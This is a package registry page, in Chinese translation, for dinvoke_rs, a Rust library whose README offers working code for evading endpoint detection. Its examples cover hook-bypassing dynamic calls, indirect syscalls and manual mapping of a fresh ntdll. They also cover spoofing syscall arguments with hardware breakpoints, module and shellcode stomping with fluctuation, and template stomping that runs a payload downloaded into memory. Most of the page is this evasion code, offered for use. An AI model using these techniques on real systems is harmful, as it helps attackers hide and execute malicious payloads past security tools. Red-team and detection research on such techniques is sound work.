#dinvoke #syscalls #execution #plugin-api #winapi

dinvoke_rs

动态调用任意非托管代码

6 个版本

0.1.6 2024年8月22日
0.1.5 2024年4月27日
0.1.4 2024年1月19日
0.1.2 2023年11月19日

#161模板引擎

Download history 19/week @ 2024-05-03 7/week @ 2024-05-10 13/week @ 2024-05-17 12/week @ 2024-05-24 17/week @ 2024-05-31 16/week @ 2024-06-07 21/week @ 2024-06-14 13/week @ 2024-06-21 10/week @ 2024-06-28 30/week @ 2024-07-05 4/week @ 2024-07-12 3/week @ 2024-07-19 55/week @ 2024-07-26 32/week @ 2024-08-02 5/week @ 2024-08-09 66/week @ 2024-08-16

158 每月下载量
2 crates 中使用

MIT 许可证

255KB
4K SLoC

DInvoke_rs

Rust 版本的 Dinvoke。DInvoke_rs 可以用于许多目的,例如 PE 解析、动态解析导出函数、在运行时动态加载 PE 插件、API 钩子规避等。

功能

  • 动态解析和调用未记录的 Windows API。
  • 允许进行战略性的 API 钩子规避。
  • 间接系统调用。 仅限 x64
  • 从磁盘或直接从内存手动映射 PE 模块。
  • 解析 PE 标头。
  • 将 PE 模块映射到由磁盘上的任意模块支持的段。 非 Opsec
  • 模块波动以隐藏映射的 PE(支持并发)。 非 Opsec
  • 通过异常过滤器 + 硬件断点欺骗系统调用参数。 仅限 x64
  • 模块重写和 Shellcode 波动。
  • 模板重写。

致谢

所有荣誉都属于该工具原始 C# 实现的创作者

内容

用法

通过在您的 cargo.toml 中添加以下行将此 crate 导入到您的项目中:

[dependencies]
dinvoke_rs = "0.1.6"

示例

解析导出 API

以下示例演示了如何使用 DInvoke_rs 动态查找并调用 DLL 的导出(本例中为 ntdll.dll)。

  1. 获取 ntdll 的基本地址。
  2. 使用 get_function_address() 通过名称在 ntdll.dll 中查找导出。这是通过遍历和解析 dll 的 EAT 实现的。
  3. 您还可以通过调用 get_function_address_by_ordinal() 来通过序号查找导出。

fn main() {

    // Dynamically obtain ntdll.dll's base address. 
    let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

    if ntdll != 0 
    {
        println!("ntdll.dll base address is 0x{:X}", ntdll);
        
        // Dynamically obtain the address of a function by name.
        let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
        if nt_create_thread != 0
        {
            println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
        }

        // Dynamically obtain the address of a function by ordinal.
        let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
        if ordinal_8 != 0 
        {
            println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
        }
    }   
}

调用非托管代码

以下示例中,我们使用 DInvoke_rs 动态调用 RtlAdjustPrivilege,以启用当前进程令牌的 SeDebugPrivilege。这种执行方式将绕过 Win32 中的任何 API 钩子。此外,它不会在最终 PE 的导入地址表中创建任何条目,这使得在没有执行的情况下检测 PE 的行为更加困难。


fn main() {

    // Dynamically obtain ntdll.dll's base address. 
    let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

    if ntdll != 0 
    {
        unsafe 
        {
            let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
            let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
            let privilege: u32 = 20; // This value matches with SeDebugPrivilege
            let enable: u8 = 1; // Enable the privilege
            let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
            let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
            let enabled: *mut u8 = std::mem::transmute(&e); 
            dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled); 

            match ret {
                Some(x) => 
                	if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
                  	else { println!("[x] NTSTATUS == {:X}", x as u32); },
                None => panic!("[x] Error!"),
            }
        } 
    }   
}


执行间接系统调用

在下一个示例中,我们使用 DInvoke_rs 执行与函数 NtQueryInformationProcess 对应的系统调用。由于宏 execute_syscall!() 动态分配并执行执行所需系统调用的 shellcode,因此绕过了 ntdll.dll 中存在的所有钩子。系统调用的返回后,分配的内存将被释放,从而避免具有执行权限的内存页永久存在。


use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};

fn main() {

    unsafe 
    {
        let function_type:NtQueryInformationProcess;
        let mut ret: Option<i32> = None; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
        let handle = GetCurrentProcess();
        let p = PROCESS_BASIC_INFORMATION::default();
        let process_information: PVOID = std::mem::transmute(&p); 
        let r = u32::default();
        let return_length: *mut u32 = std::mem::transmute(&r);
        dinvoke_rs::dinvoke::execute_syscall!(
            "NtQueryInformationProcess",
            function_type,
            ret,
            handle,
            0,
            process_information,
            size_of::<PROCESS_BASIC_INFORMATION>() as u32,
            return_length
        );

        let pbi:*mut PROCESS_BASIC_INFORMATION;
        match ret {
            Some(x) => 
                if x == 0 {
                    pbi = std::mem::transmute(process_information);
                    let pbi = *pbi;
                    println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
                },
            None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
        }  

    }
}

手动 PE 映射

在此示例中,DInvoke_rs 用于手动映射新的 ntdll.dll 副本,没有任何 EDR 钩子。然后可以使用这个新的 ntdll.dll 副本来执行任何所需的函数。

此手动映射也可以从内存中执行(在这种情况下使用 manually_map_module()),允许执行经典的反射式 DLL 注入。


use dinvoke_rs::data::PeMetadata;

fn main() {

    unsafe 
    {

        let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();

        let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
        let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
        let privilege: u32 = 20; // This value matches with SeDebugPrivilege
        let enable: u8 = 1; // Enable the privilege
        let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
        let e = u8::default();
        let enabled: *mut u8 = std::mem::transmute(&e); 
        dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

        match ret {
            Some(x) => 
                if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
                else { println!("[x] NTSTATUS == {:X}", x as u32); },
            None => panic!("[x] Error!"),
        }

    }
}

重载内存段

在以下示例中,DInvoke_rs 用于创建一个基于文件的内存部分,随后通过手动映射 PE 来超载它。默认情况下,内存部分将指向位于 %WINDIR%\System32\ 的合法文件,但可以使用任何其他诱饵模块。

此超载也可以通过从内存中映射 PE 来执行(如下例所示),允许在不将有效负载写入磁盘的情况下执行超载。


use dinvoke_rs::data::PeMetadata;

fn main() {

    unsafe 
    {

        let payload: Vec<u8> = your_download_function();

        // This will map your payload into a legitimate file-backed memory section.
        let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
        
        // Then any exported function of the mapped PE can be dynamically called.
        // Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
        let func_ptr:  unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
        let ret: Option<i32>; // The value that the called function will return
        let parameter1: i32 = 10;
        let parameter2: i32 = 20;
        dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);

        match ret {
            Some(x) => 
                println!("The function returned the value {}", x),
            None => panic!("[x] Error!"),
        }

    }
}

模块波动

DInvoke_rs 允许在未使用时隐藏已映射的 PE,这使得 EDR 内存检查更难检测到进程中的可疑 DLL。

例如,假设我们想要映射一个全新的 ntdll.dll 副本来避免 EDR 钩子。由于同一个进程中有两个 ntdll.dll 可能被视为可疑行为,我们可以在不使用时映射并隐藏 ntdll。这与 shellcode 波动技术非常相似,尽管在这种情况下,我们可以利用将 PE 映射到合法文件支持的内存部分这一事实,因此我们可以用该部分指向的原始诱饵模块的内容替换 ntdll 的内容。


use dinvoke_rs::dmanager::Manager;

fn main() {

    unsafe 
    {
        // The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios 
        let mut manager = Manager::new();

        // This will map ntdll.dll into a memory section pointing to cdp.dll. 
        // It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
        let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
        
        // This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
        // Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
        let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);

        // Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
        let _ = manager.map_module(overload.1);

        // After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
        let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
        let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
        let privilege: u32 = 20; // This value matches with SeDebugPrivilege
        let enable: u8 = 1; // Enable the privilege
        let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
        let e = u8::default();
        let enabled: *mut u8 = std::mem::transmute(&e); 
        dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

        match ret {
            Some(x) => 
                if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
                else { println!("[x] NTSTATUS == {:X}", x as u32); },
            None => panic!("[x] Error!"),
        }

        // Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
        let _ = manager.hide_module(overload.1);

    }
}

系统调用参数欺骗

为了欺骗系统调用的前四个参数,DInvoke_rs 支持硬件断点和异常处理器的组合。这允许向 NT 函数发送非恶意参数,在 EDR 检查它们之后,在执行系统调用指令之前将它们替换为原始参数。有关更多信息,请参阅原始想法的存储库:TamperingSyscalls

目前,此功能已针对函数 NtOpenProcessNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryNtCreateThreadEx 实现。要使用它,只需激活该功能,设置异常处理器,并通过 Dinvoke 调用所需的函数即可。


use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};

fn main() {

    unsafe
    {
        // We active the use of hardware breakpoints to spoof syscall parameters
        dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
        // We get the memory address of our function and set it as a VEH
        let handler = dinvoke::breakpoint_handler as usize;
        dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);

        let h = HANDLE {0: -1};
        let handle: *mut HANDLE = std::mem::transmute(&h);
        let access = THREAD_ALL_ACCESS; 
        let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
        let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
        // We set the PID of the remote process 
        let remote_pid = 472isize;
        let c = ClientId {unique_process: HANDLE {0: remote_pid}, unique_thread: HANDLE::default()};
        let client_id: *mut ClientId = std::mem::transmute(&c);
        // A call to NtOpenProcess is performed through Dinvoke. The parameters will be
        // automatically spoofed by the function and restored to the original values
        // before executing the syscall.
        let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);

        println!("NTSTATUS: {:x}", ret);

        dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
    }
}

模块重写和 Shellcode 波动

Dinvoke_rs的重载crate现在允许通过调用managed_module_stomping()函数来执行模块重写。该函数的第一个参数是shellcode的内容。其他两个参数修改了函数的行为,允许三种不同的执行路径,如下所示。

在我看来,使用此函数的最佳方式是将合法的dll加载到进程中,并允许Dinvoke确定dll中的一个合适的位置来重写shellcode。这是通过将dll的基址作为managed_module_stomping()的第三个参数来完成的。第二个参数必须是零。通过这种方式,Dinvoke将迭代dll的异常数据,寻找足够大的合法函数来在它上面重写shellcode。

let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);

match module {
     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
     Err(e) => println!("An error has occurred: {}", e),      
}

您还可以通过将内存地址作为第二个参数传递来指定您想要将shellcode重写到确切的位置。

let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);

match module {
     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
     Err(e) => println!("An error has occurred: {}", e),      
}

最后,您可以允许Dinvoke自动决定将shellcode重写到哪个地址。这是通过迭代所有已加载模块的异常数据直到找到一个合适的函数来完成的。这个选项可能会带来意外的行为,所以我真的不推荐除非您没有其他选择。

let payload_content = download_function();
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);

match module {
    Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
    Err(e) => println!("An error has occurred: {}", e),      
}

一旦shellcode被重写,您可以使用dmanager crate来隐藏/重写您的shellcode,允许执行shellcode波动。

let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
 ... 
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again

模板重写

模板重写是针对DLL的模块重写技术的衍生。目前,这项技术只允许将DLL加载到当前进程中,不支持远程进程。

主要目标是创建一个由DLL组成的模板,通过替换.text部分的任意数据来实现,允许在不触发警报的情况下将模板写入磁盘。这个模板被设计成可以通过调用LoadLibrary加载到进程中。然后,原始.text部分的内容可以直接下载到进程的内存中,并重写到模板的相应内存区域。这项技术可以通过两个主要函数有效地执行:generate_templatetemplate_stomping

generate_template函数被设计用来从原始DLL创建模板,通过提取.text部分的内容并替换为任意数据。这确保了模板保持了其结构,但不含任何有意义的可执行代码,除了入口点和TLS回调,这些被替换为虚拟但功能性的汇编指令。原始.text部分的内容被分别保存在payload.bin中,最终的模板文件保存在template.dll中。

fn main ()
{
    let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory\");
    match template
    {
        Ok(()) => { println!("Template successfully generated.");}
        Err(x) => { println!("Error ocurred: {x}");}
    }
}

然后,这个模板可以保存在磁盘上的目标系统中,可以通过调用LoadLibrary加载到当前进程中。一旦模板被SO加载,下一步是将保存在payload.bin中的原始可执行内容重写到模板的.text部分。这个过程由template_stomping函数执行,该函数负责将原始可执行内容重写到正确的内存区域,并处理所有涉及的过程细节。


fn main ()
{  
    unsafe
    {
        let mut payload = http_download_payload(); // Download payload.bin content directly to memory
        let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
        println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);

        let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
        let function: extern "system" fn() = std::mem::transmute(function_ptr);
        function();
    }
}

这项技术允许将DLL加载到基于磁盘的内存区域中,而不需要在文件系统中写入真实可执行内容(去除私有内存区域和规避EDR的静态/动态分析的需要),并且允许在DLL代码执行过程中保持干净的调用栈,这与我们反射加载DLL时的情况不同。

依赖项

~134MB
~2M SLoC